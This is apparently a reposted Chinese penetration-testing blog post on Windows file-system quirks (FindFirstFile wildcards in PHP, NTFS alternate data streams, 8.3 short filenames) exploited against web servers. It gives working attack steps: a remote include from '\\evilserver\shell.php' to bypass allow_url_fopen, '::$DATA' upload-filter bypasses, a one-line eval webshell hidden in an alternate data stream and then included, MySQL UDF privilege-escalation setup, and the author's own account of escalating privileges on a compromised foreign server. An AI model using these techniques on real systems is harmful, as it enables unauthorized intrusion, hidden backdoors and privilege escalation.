一、FindFirstFile函数漏洞
1、开场
先看如下代码:
<?php for ($i=0; $i<255; $i++) { $url = '1.ph' . chr($i); $tmp = @file_get_contents($url); if (!empty($tmp)) echo chr($i) . "\r\n"; } ?>
已知1.php存在,以上脚本访问的结果是:
1.php
1.phP
1.ph<
1.ph>
都能得到返回。
前两种能返回结果是总所周知的(因为windows的文件 系统 支持大小的互转的机制),另外的两种返回引起了我们的注意。 经测试该bug 影响所有的windows+php版本。
2、继续测试
为了继续深入探查关于该bug的信息,我们对demo做了些许修改:
<?php for ($j=0; $i<256; $j++) { for ($i=0; $i<256; $i++) { $url = '1.p' . chr($j) . chr($i); $tmp = @file_get_contents($url); if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n"; } } ?>
结果:
<" <. << <> <P <p <? >< >> >P >p H< H> HP Hp h< h> hP hp
3、bug原因
在调试php解释器的过程中,我们发现此“神奇”的bug是由一个Winapi 函数FindFirstFile()所导致的。当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符。
该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:
4、利用
(1)当调用FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”。
EXAMPLE:include(‘shell<’); 或者include(‘shell<<’); //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
(2)当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符
EXAMPLE:include(‘shell.p>p’); //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
(3)当调用FindFirstFile()函数时,”””(双引号)被替换成”.”
EXAMPLE:include(‘shell”php’); //===>include(‘shell.php’);
(4)如果文件名第一个字符是”.”的话,读取时可以忽略之
EXAMPLE:fopen(‘.htacess’); //==>fopen(‘htacess’); //加上第一点中的利用 ==>fopen(‘h<<’);
(5)文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==> fopen(‘config.ini\./.\.’); ==>fopen(‘config.ini/////.’)==>fopen(‘config.ini…..’)
(6)该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)
EXAMPLE:include (‘\\evilserver\shell.php’);
(7)用以下方法还可以切换文件的盘名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php’);
(8)选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini’); //==> file_get_contents (‘C:/boot.ini’);
二、NTFS数据流
在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内 容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:
上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php 空
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>
PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。根据第二个现象,我们可以bypass一些黑名单验证。
后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)
下面讲一下如何利用:
1、bypass 黑名单
2、隐藏webshell
方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里 把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。
3、UDF提权
Mysql 5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。 直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql 5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。
select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION’; 会在mysql目录下生成一个lib目录
三、windows短文件名
短文件名的命名规则
1)符合DOS短文件名规则的Windows下的长文件名不变。
2)长文件名中的空格,在短文件名中被删除。
3)删除空格后的长文件名,若长度大于8个字符,则取前6个字符,后两个字符以”~#”代替,其中”#”为数字,数字根据前六个字符相同的文件名的个数顺延。若个数超过10个则取前5个字符,后三个字符以”~##”代替,其中”##”为两位数字,若个数大于100也依此规则替换。
4)对使用多个”.”隔开的长文件名,取最左端一段转换为短文件名,取最右一段前三个字符为扩展名。
ps:根据第3条规则可以看出短文件前面不一定是6个字符(一般w为6个字符)。当一个目录中有多个前6个字符相同的文件时,则短文件以~#的方式区分。 此外,还要注意第4条规则,文件短文件名的扩展名是最后一个.的右边一段的前三个字符。当然,如果目录中也有.则短文件名也有扩展名,如curl- 7.17.1-win32-ssl目录,目录名中出现了.,所以该目录的短文件名的扩展名为最后一个“.“的右边的前三个字符,即1-W。
利用:
1、备份文件在apache环境下任意下载
Windows下采用了短文件名机制,如C:\wooyun12312394944545.txt可采用C:\wooyun~1.txt访问
因此如果生成一个备份文件,文件名是这样的
http://127.0.0.1/admin/databack/sql/metinfo_met_20140202_ixzlfo_1.zip
那么在Windows系统下,可以这样访问来下载备份文件
http://127.0.0.1/admin/databack/sql/metinf~1.zip
2、在提权时的利用
这个是在提权某国外服务器时候发现的,该服务器的环境是win2k3+iis6.0。烤肉,pr,iis6的漏洞补丁都没有打,但是,可写很少。上传了啊D牛的脚本后找到可写目录了。
可写目录C:\Program Files\Zend\ZendOptimizer-3.3.0\lib 按照惯例上传cmd.txt pr.exe
然后在菜刀上运行exp,蛋疼的地方来了。执行后直接说找不到文件。后面想到个办法,把exp设置为cmd的路径。然后在执行cmd命令的地方执行我要提权的命令,发现还是不行。
后面在群里讨论了一下,发现是由于路径里面有空格,这样执行exp会在有空格的地方截断。
然后各种百度,最后发现了一种方法。我们可以利用windows路径的短命名
Program Files 等价为 PROGRA~1
然后将pr的路径修改为C:\PROGRA~1\Zend\ZendOptimizer-3.3.0\lib\pr.txt
执行”C:\PROGRA~1\Zend\ZendOptimizer-3.3.0\lib\pr.txt ” “whoami”
成功回显,在此处要注意的是pr的路径也要用双引号括起来。
转载请注明:jinglingshu的博客 » 渗透中利用到的一些windows特性